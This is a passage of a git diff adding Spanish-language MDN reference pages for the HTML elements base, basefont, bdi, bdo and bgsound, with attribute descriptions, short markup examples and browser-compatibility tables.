+<h2 id="Resumen">Resumen</h2>
+
+<p>El <strong>elemento HTML <code>&lt;base&gt;</code></strong> <span id="result_box" lang="es"><span>especifica la dirección URL</span> <span>base que se utilizará</span> <span>para todas las</span> <span>direcciones URL relativas</span> <span>contenidas</span> <span>dentro de un documento</span><span>.</span> </span> <span id="result_box" lang="es"><span>Sólo puede haber un</span></span> <span lang="es"><span>elemento &lt;base&gt;</span> <span>en un documento</span><span>.</span></span></p>
+
+<p><span id="result_box" lang="es"><span>La</span> <span>dirección URL base</span> <span>de un documento</span> <span>puede ser consultado</span> <span>a partir de una</span> <span>secuencia de comandos con</span></span> {{domxref('document.baseURI')}}.</p>
+
+<div class="note"><strong>Nota de uso:</strong> Si se especifican varios elementos &lt;base&gt;, se utilizá sólo la primera sección <strong>href</strong> y el primer valor <strong>target</strong>; los demás son ignorados.</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th><a href="https://developer.mozilla.org/es/docs/Web/Guide/HTML/categorias_de_contenido">Categorías de Contenido</a></th>
+   <td><span class="short_text" id="result_box" lang="es"><span>Contenido de Metadatos</span></span></td>
+  </tr>
+  <tr>
+   <th>Contenido permitido</th>
+   <td><span class="short_text" id="result_box" lang="es"><span>Ninguno</span><span>, es un</span></span> {{Glossary("empty element")}}.</td>
+  </tr>
+  <tr>
+   <th>Omisión de etiqueta</th>
+   <td><span class="short_text" id="result_box" lang="es"><span>No debe haber ninguna</span> <span>etiqueta de cierre</span><span>.</span></span></td>
+  </tr>
+  <tr>
+   <th>Elementos padres permitidos</th>
+   <td><span id="result_box" lang="es"><span>Cualquier</span></span> {{HTMLElement("head")}} <span id="result_box" lang="es"><span>que</span> <span>no contenga ningún</span> <span>elemento </span></span>{{HTMLElement("base")}}</td>
+  </tr>
+  <tr>
+   <th>Interfaz DOM</th>
+   <td>{{domxref("HTMLBaseElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributos">Attributos</h2>
+
+<p><span style="line-height: 21px;">Este elemento incluye los </span><a href="https://developer.mozilla.org/es/docs/Web/HTML/Atributos_Globales" style="line-height: 21px;" title="HTML/Global attributes">atributos globales</a><span style="line-height: 21px;">.</span></p>
+
+<dl>
+ <dt>{{htmlattrdef("href")}}</dt>
+ <dd><span id="result_box" lang="es"><span>La dirección URL</span> <span>base que se usa</span> <span>en todo el documento</span> <span>para las direcciones</span> <span>URL</span> <span>relativas.</span> <span>Si no se especifica</span> <span>este atributo</span><span>,</span> <span>este elemento</span> <span>debe venir antes de</span> <span>cualesquiera otros elementos</span> <span>con</span> <span>atributos cuyos valores son</span> <span>direcciones URL</span><span>.</span> <span>Se permiten</span> <span>las direcciones URL absolutas</span> <span>y relativas.</span></span></dd>
+ <dt>{{htmlattrdef("target")}}</dt>
+ <dd><span id="result_box" lang="es"><span>Un nombre</span> <span>o una palabra clave</span> <span>que indica</span> <span>la ubicación predeterminada</span> <span>para navegar por</span> <span>el resultado de</span> <span>hipervínculos</span> <span>o</span> <span>formas</span></span>, <span id="result_box" lang="es"><span>para los elementos</span> <span>que no tienen</span> <span>una referencia</span></span> <span id="result_box" lang="es"> <span>explícita</span> <span>del objetivo</span></span> <span id="result_box" lang="es"><span>.</span> <span>Es un</span> <span>nombre</span> <span>o una palabra clave</span> <span>para</span> <span>un</span> <span>contexto de navegación</span> <span>(</span><span>por ejemplo</span><span>:</span> <span>pestaña</span><span>, ventana o</span> <span>marco en línea</span><span>)</span><span>.</span> <span>Las</span> <span>siguientes</span> <span>palabras clave</span> <span>tienen un significado especial</span><span>:</span></span> tab, window, o inline frame).Las siguientes palabras clave tienen un significado especial:
+ <ul>
+  <li><code>_self</code>: <span id="result_box" lang="es"><span>Carga el resultado</span> <span>en el mismo</span> <span>contexto de navegación</span> que<span> el actual</span><span>.</span> <span>Este valor</span> <span>es</span> <span>el valor por defecto</span> <span>si no se especifica</span> <span>el atributo</span><span>.</span></span></li>
+  <li><code>_blank</code>: <span id="result_box" lang="es"><span>Carga el resultado</span> <span>en un nuevo</span> <span>contexto de navegación</span> <span>sin nombre</span></span> .</li>
+  <li><code>_parent</code>: <span id="result_box" lang="es"><span>Cargar</span> <span>el resultado en el</span> <span>contexto de navegación</span> <span>padre</span> <span>de</span><span>l actual.</span> <span>Si no hay</span> <span>padre</span><span>, esta opción</span> <span>se comporta de la</span> <span>misma manera que</span> <span>_self</span><span>.</span></span></li>
+  <li><code>_top</code>: <span id="result_box" lang="es"><span>Carga el resultado</span> <span>en</span> <span>el contexto</span> <span>de nivel superior</span> <span>de navegación</span> <span>(</span><span>es decir, el</span> <span>contexto de navegación</span> <span>que</span> <span>es</span> <span>un ancestro de</span> <span>la actual,</span> <span>y no tiene</span> <span>padre)</span><span>.</span> <span>Si no hay</span> <span>padre</span><span>, esta opción</span> <span>se comporta de la</span> <span>misma manera que</span> <span>_self</span><span>.</span></span></li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>base</span> <span class="attr-name token">href</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>http://www.example.com/page.html<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>base</span> <span class="attr-name token">target</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>_blank<span class="punctuation token">"</span></span> <span class="attr-name token">href</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>http://www.example.com/page.html<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<article class="approved text-content">
+<div class="boxed translate-rendered">
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-base-element', '&lt;base&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td><span class="short_text" id="result_box" lang="es"><span>Sin cambios</span> <span>desde la última</span> <span>instantánea</span></span>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'document-metadata#the-base-element', '&lt;base&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td><span class="short_text" id="result_box" lang="es"><span>Especifica el</span> <span>comportamiento de</span></span> <code>target</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/links.html#h-12.4', '&lt;base&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Añadido el atributo <code>target</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}} [1]</td>
+   <td>{{CompatVersionUnknown}} [2]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}} [1]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] A<span id="result_box" lang="es"><span>ñadido soporte</span> <span>de las URL</span> <span>relativas para</span></span> <code>href</code> <span id="result_box" lang="es"><span>en</span></span> Gecko 2.0 (Firefox 4.0)</p>
+
+<p>[2] Antes de Internet Explorer 7, &lt;base&gt; podría ser colocado en cualquier lugar del documento y se usaba el valor más cercano de &lt;base&gt;. El apoyo a las URL relativas se ha eliminado en Internet Explorer 8</p>
+</div>
+</article>
+
+<p><span class="comment">interwiki links</span></p>
+
+<p><span class="comment">automatismos</span></p>
diff --git a/files/es/web/html/elemento/basefont/index.html b/files/es/web/html/elemento/basefont/index.html
new file mode 100644
index 0000000000..5b86ea16a3
--- /dev/null
+++ b/files/es/web/html/elemento/basefont/index.html
@@ -0,0 +1,124 @@
+---
+title: basefont
+slug: Web/HTML/Elemento/basefont
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/basefont
+---
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p><strong>basefont</strong> -<em>fuente base</em> . Permite cambiar algunas propiedades del texto.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: &lt;basefont&gt; (solo tiene una).</dd>
+ <dd><strong>Está definido como</strong>: Elemento <a href="es/HTML/Elemento/Tipos_de_elementos#desaprobado">desaprobado</a>.
+ <dl>
+  <dd>En un doctype transicional está definido como un elemento <a href="es/HTML/Elemento/Tipos_de_elementos#especial">especial</a> y por lo tanto <a href="es/HTML/Elemento/Tipos_de_elementos#enlinea">en línea</a>.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: No.</dd>
+ <dd><strong>Puede contener</strong>: Nada.</dd>
+</dl>
+
+<h4 id="Atributos" name="Atributos">Atributos</h4>
+
+<table class="fullwidth-table standard-table">
+ <tbody>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+  </tr>
+  <tr>
+   <th colspan="3">Genéricos</th>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-id"><span style="color: green;">id </span></a></td>
+   <td>Le da un nombre al elemento que lo diferencia de todos los demás del documento.</td>
+   <td>Un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-id">nombre único</a>. Sensible a <abbr title="diferencia entre Máyusculas y minúsculas">M/m.</abbr> Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <th colspan="3">Específicos</th>
+  </tr>
+  <tr>
+   <td colspan="3">No tiene</td>
+  </tr>
+  <tr>
+   <th colspan="3">De transición</th>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/present/graphics.html#adef-size-FONT"><span style="color: green;">size</span></a></td>
+   <td>Tamaño de la fuente. Según una tabla del 1 al 7.</td>
+   <td>Un número entero (ej. 1), o un valor incremental (ej. +1). <s>Por defecto:</s> debe indicarlo el autor.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/present/graphics.html#adef-color-FONT"><span style="color: green;">color</span></a></td>
+   <td>El color del texto.</td>
+   <td>Un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#h-6.5">color RGB</a>. Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/present/graphics.html#adef-face-FONT"><span style="color: green;">face</span></a></td>
+   <td>Especifica la/s fuentes para el texto.</td>
+   <td>Lista de nombres de fuentes separadas por coma. Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ejemplos_de_uso" name="Ejemplos_de_uso">Ejemplos de uso</h3>
+
+<div class="highlight">
+<h4 id="Un_ejemplo_simple" name="Un_ejemplo_simple">Un ejemplo simple</h4>
+
+<p>Código:</p>
+
+<pre class="eval">&lt;p&gt;
+ Texto normal y ...
+ &lt;<strong>basefont</strong> size="5" color="#0000ff"&gt;
+ Texto distinto.
+&lt;/p&gt;
+</pre>
+
+<p><span class="comment">Resultado: &lt;div style='border: solid silver 1px;'&gt; &lt;p&gt; Texto normal y ... &lt;basefont size="5" color="#0000ff"&gt; Texto distinto. &lt;/p&gt; &lt;/div&gt;</span></p>
+</div>
+
+<h3 id="Estilo_predeterminado" name="Estilo_predeterminado">Estilo predeterminado</h3>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<h3 id="Referencia" name="Referencia">Referencia</h3>
+
+<ul>
+ <li>El elemento <a class="external" href="http://html.conclase.net/w3c/html401-es/present/graphics.html#edef-BASEFONT"><strong>basefont</strong> en la especificación</a> de html 4.01</li>
+</ul>
+
+<p> </p>
+
+<h3 id="Soporte" name="Soporte">Soporte</h3>
+
+<p>Puede consultar esta <a class="external" href="http://www.webdevout.net/browser_support_html.php#support-html401-basefont">comparativa</a>: IE 6 - IE 7 - FF 1.5 - OP 9.</p>
+
+<p> </p>
+
+<hr>
+<div class="note">
+<p>Estamos ampliando este documento, posiblemente contenga defectos y carencias. ¡Estamos en obras!... disculpen las molestias.</p>
+
+<p>¿Quieres participar en su elaboración? Para saber cómo hacerlo consulta <a>MDC:Como ayudar</a>.</p>
+</div>
+
+<p><br>
+ <span class="comment">Categoría</span></p>
+
+<p><span class="comment">interwiki links</span></p>
+
+<p><span class="comment">automatismos</span></p>
diff --git a/files/es/web/html/elemento/bdi/index.html b/files/es/web/html/elemento/bdi/index.html
new file mode 100644
index 0000000000..075afa13a6
--- /dev/null
+++ b/files/es/web/html/elemento/bdi/index.html
@@ -0,0 +1,140 @@
+---
+title: <bdi>
+slug: Web/HTML/Elemento/bdi
+tags:
+  - BiDi
+  - Elemento
+  - HTML
+  - Referencia
+  - Semántica HTML a nivel de texto
+  - Web
+translation_of: Web/HTML/Element/bdi
+---
+<h2 id="Resumen">Resumen</h2>
+
+<p>El elemento <em>HTML <code>&lt;bdi&gt;</code> </em>(o elemento de aislamiento Bi-Direccional) aisla un trozo de texto para que pueda ser formateado con una dirección diferente al texto que hay fuera de él.</p>
+
+<p>Es útil al embeber o incrustart texto del que se desconoce la direccionalidad, por ejemplo proveniente de una base de datos, dentro de un texto con una direccionalidad fija.</p>
+
+<p class="note">Aunque el mismo efecto visual se puede conseguir usando la regla  CSS  {{cssxref("unicode-bidi")}}<code>: isolate</code> en un elemento  {{HTMLElement("span")}} u otro elemento de formateado de texto, el significado semántico sólo se consigue usando el elemento<code> &lt;bdi&gt;</code>. En especial los navegadores permiten ignorar los estilos CSS. En tal caso el texto se mostrará correctamente usando el elemento HTML pero será basura usando CSS para fijar la semántica.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content_categories">Content categories</a></th>
+   <td><a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">Flow content</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content_categories#Phrasing_content">phrasing content</a>, contenido palpable.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenido permitido</th>
+   <td><a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content_categories#Flow_content">Phrasing content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omisión de etiqueta</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Elementos padre permitidos</th>
+   <td>Any element that accepts <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content_categories#Flow_content">phrasing content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interfaz DOM</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p>Como los demás elementos HTML , este elemento tiene los <a href="/en-US/docs/HTML/Global_attributes" title="HTML/Global attributes">global attributes</a>, pero con una pequeña diferencia semántica: el atributo <strong>dir </strong>no se hereda. Si no está definidio, su valor por defecto es <code>auto</code> y permitirá a los navegadores decidir la dirección basándose en el contexto del elemento.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: html">&lt;p dir="ltr"&gt;Esta palabara arábica&lt;bdi&gt;ARABIC_PLACEHOLDER&lt;/bdi&gt; se muestra automáticamente de derecha a izquierda.&lt;/p&gt;
+</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p dir="ltr">Esta palabra arábica REDLOHECALP_CIBARA se muestra automáticamente de derecha a izquierda.</p>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-bdi-element', '&lt;bdi&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'the-bdi-element.html#the-bdi-element', '&lt;bdi&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>16</td>
+   <td>{{CompatGeckoDesktop("10.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("10.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 dir="ltr" id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>Elementos HTML relacionados: {{HTMLElement("bdo")}}</li>
+ <li>Propiedades HTML relacionadas: {{cssxref("direction")}}, {{cssxref("unicode-bidi")}}</li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/es/web/html/elemento/bdo/index.html b/files/es/web/html/elemento/bdo/index.html
new file mode 100644
index 0000000000..0a4af7fe92
--- /dev/null
+++ b/files/es/web/html/elemento/bdo/index.html
@@ -0,0 +1,144 @@
+---
+title: bdo
+slug: Web/HTML/Elemento/bdo
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/bdo
+---
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p><strong>bdo</strong> Bi-Directional Overriding=Anulación de bidireccionalidad.</p>
+
+<p>La dirección de escritura del texto está relacionada con el idioma y se declara con el atributo dir. Pero en ocasiones esto no es suficiente, entonces entra en juego el elemento <a href="es/HTML/Elemento/bdo">bdo</a> (anulación del algoritmo bidireccional) que al anular el algoritmo permite un control total de la direccionalidad.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: &lt;bdo&gt; y &lt;/bdo&gt; (ambas obligatorias).</dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: En línea.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Está definido como</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#especial">Elemento especial</a> y por lo tanto <a href="es/HTML/Elemento/Tipos_de_elementos#en_l.C3.ADnea">en línea</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Puede contener</strong>: Texto y/o cero o más elementos <a href="es/HTML/Elemento/Tipos_de_elementos#en_l.C3.ADnea">en línea</a>.</dd>
+</dl>
+
+<h4 id="Atributos" name="Atributos">Atributos</h4>
+
+<p> </p>
+
+<table class="fullwidth-table standard-table">
+ <tbody>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+   <th>por omisión</th>
+  </tr>
+  <tr>
+   <th colspan="4">Genéricos</th>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-title"><span style="color: green;">title </span></a></td>
+   <td>Texto informativo o título del elemento. Suele mostrarse a modo de "tool tip".</td>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#h-6.3">Texto legible</a>. Sensible a <abbr title="diferencia entre Mayúsculas y minúsculas">M/m.</abbr>.</td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-id"><span style="color: green;">id </span></a></td>
+   <td>Le da un nombre al elemento que lo diferencia de todos los demás del documento.</td>
+   <td>Un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-id">nombre único</a>. Sensible a <abbr title="diferencia entre Máyusculas y minúsculas">M/m.</abbr></td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-class"><span style="color: green;">class </span></a></td>
+   <td>Asigna nombres de clases al elemento. Por defecto, clases CSS.</td>
+   <td>Lista de clases separadas por espacio en blanco. Sensible a <abbr title="diferencia entre Máyusculas y minúsculas">M/m.</abbr> <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-cdata">cdata</a></td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/present/styles.html#adef-style"><span style="color: green;">style </span></a></td>
+   <td>Permite especificar <a class="external" href="http://html.conclase.net/w3c/html401-es/present/styles.html">información de estilo</a>. Por defecto, estilos CSS.</td>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-style">Declaraciones de estilo</a>.</td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td colspan="4"><strong>Eventos</strong>: <code style="color: green;">onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout, onkeypress, onkeydown, onkeyup. </code></td>
+  </tr>
+  <tr>
+   <th colspan="4">Específicos</th>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#adef-lang"><span style="color: green;">lang </span></a></td>
+   <td>Información sobre el <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html">idioma del contenido</a> del elemento y del valor de sus atributos.</td>
+   <td>Un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-langcode">código de idioma</a>.</td>
+   <td>Lo fija el navegador. <abbr title="Por defecto">PD.</abbr>: "desconocido".</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#adef-dir-BDO"><span style="color: green;">dir </span></a></td>
+   <td>Indica la <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html">dirección de texto</a> y tablas.</td>
+   <td>Uno de los siguientes: <abbr title="Left-to-right"> 'ltr' </abbr> o <abbr title="Right-to-left"> 'rtl'. </abbr></td>
+   <td>Debe indicarlo el autor</td>
+  </tr>
+  <tr>
+   <th colspan="4">De transición</th>
+  </tr>
+  <tr>
+   <td colspan="4">No tiene</td>
+  </tr>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+   <th>por omisión</th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ejemplos_de_uso" name="Ejemplos_de_uso">Ejemplos de uso</h3>
+
+<div class="highlight">
+<h4 id="Cambios_de_direcci.C3.B3n" name="Cambios_de_direcci.C3.B3n">Cambios de dirección</h4>
+
+<pre>&lt;p&gt; cero(0)
+&lt;bdo dir="rtl"&gt;
+&lt;em&gt; uno(1) dos(2) &lt;/em&gt; tres(3) cuatro(4)
+&lt;em dir="ltr"&gt; cinco(5) seis(6) &lt;/em&gt; siete(7) ocho(8)
+&lt;/bdo&gt; nueve(9)
+&lt;/p&gt;
+</pre>
+</div>
+
+<h3 id="Soporte" name="Soporte">Soporte</h3>
+
+<p>Puede consultar esta <a class="external" href="http://www.webdevout.net/browser_support_html.php#support-html401-bdo">comparativa</a>: IE6 vs IE7 vs FF1.5 vs OP9.</p>
+
+<h3 id="Estilo_predeterminado" name="Estilo_predeterminado">Estilo predeterminado</h3>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<h3 id="Referencia" name="Referencia">Referencia</h3>
+
+<ul>
+ <li>El elemento <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#edef-BDO"><strong>bdo</strong> en la especificación</a> de html 4.01</li>
+</ul>
+
+<hr>
+<div class="note">
+<p>Estamos ampliando este documento, posiblemente contenga defectos y carencias. ¡Estamos en obras!... disculpen las molestias.</p>
+
+<p>¿Quieres participar en su elaboración? Para saber cómo hacerlo consulta <a>MDC:Como ayudar</a>.</p>
+</div>
+
+<p><br>
+ <span class="comment">Categoría</span></p>
+
+<p><span class="comment">interwiki links</span></p>
+
+<p><span class="comment">automatismos</span></p>
diff --git a/files/es/web/html/elemento/bgsound/index.html b/files/es/web/html/elemento/bgsound/index.html
new file mode 100644
index 0000000000..81b73a1e30
--- /dev/null
+++ b/files/es/web/html/elemento/bgsound/index.html
@@ -0,0 +1,106 @@
+---
+title: <bgsound>
+slug: Web/HTML/Elemento/bgsound
+tags:
+  - Elemento
+  - HTML
+  - Referencia
+  - Web
+translation_of: Web/HTML/Element/bgsound
+---
+<div>{{non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El elemento HTML de sonido de fondo (&lt;bgsound&gt;) es un elemento de Internet Explorer que asocia  un sonido de fondo con un página .</p>
+
+<div class="note">
+<p><strong>No usar esto ! </strong>Para incrustar un elemento en una página web , se debe  de usar el elemento  {{HTMLElement("audio")}}</p>
+</div>
+
+<h2 id="Atributos">Atributos</h2>
+
+<dl>
+ <dt>{{htmlattrdef("balance")}}</dt>
+ <dd>Este atributo define un número entre -10,000 y + 10,000 que determina como el volumen será dividido entre los altavoces .</dd>
+ <dt>{{htmlattrdef("loop")}}</dt>
+ <dd>Este atributo indica el número de veces que un soinido será reproducido ya sea como un valor numérico o la palabra clave <em>infinite</em> .</dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>Este atributo especifica la URL del archivo de sonido que será reproducido , el cual debe ser uno de los siguientes tipos : wav, .au, o .mid.</dd>
+ <dt>{{htmlattrdef("volume")}}</dt>
+ <dd>Este atributo define un número entre -10,000 y 0 que determina la fuerza del sonido de fondo de una página .</dd>
+ <dd> </dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush:html">&lt;bgsound src="sound1.mid"&gt;
+
+&lt;bgsound src="sound2.au" loop="infinite"&gt;
+</pre>
+
+<h2 id="Notas">Notas</h2>
+
+<p>Funcionalidad similar puede ser lograda en algunas versiones de Netscape usando la etiqueta &lt;embed&gt; para invocar un reproductor de audio .</p>
+
+<p>Puedes escribir bgsound con una etiqueta de cierre automático &lt;bgsound /&gt; . Ahora bien , desde que este elemento no es parte de un estándar , haciendolo como XHTML no lo hará valido. </p>
+
+<h2 id="Compatibilidad_en_exploradores">Compatibilidad en exploradores </h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Hasta Firefox 22 , incluso si no se soportaba este elemento , Gecko lo asociaba a un elemento {{domxref("HTMLSpanElement")}}. Esto fue corregido después y ahora el elemento asociado es un  {{domxref("HTMLUnknownElement")}} como es requerido  por la especificación . </p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
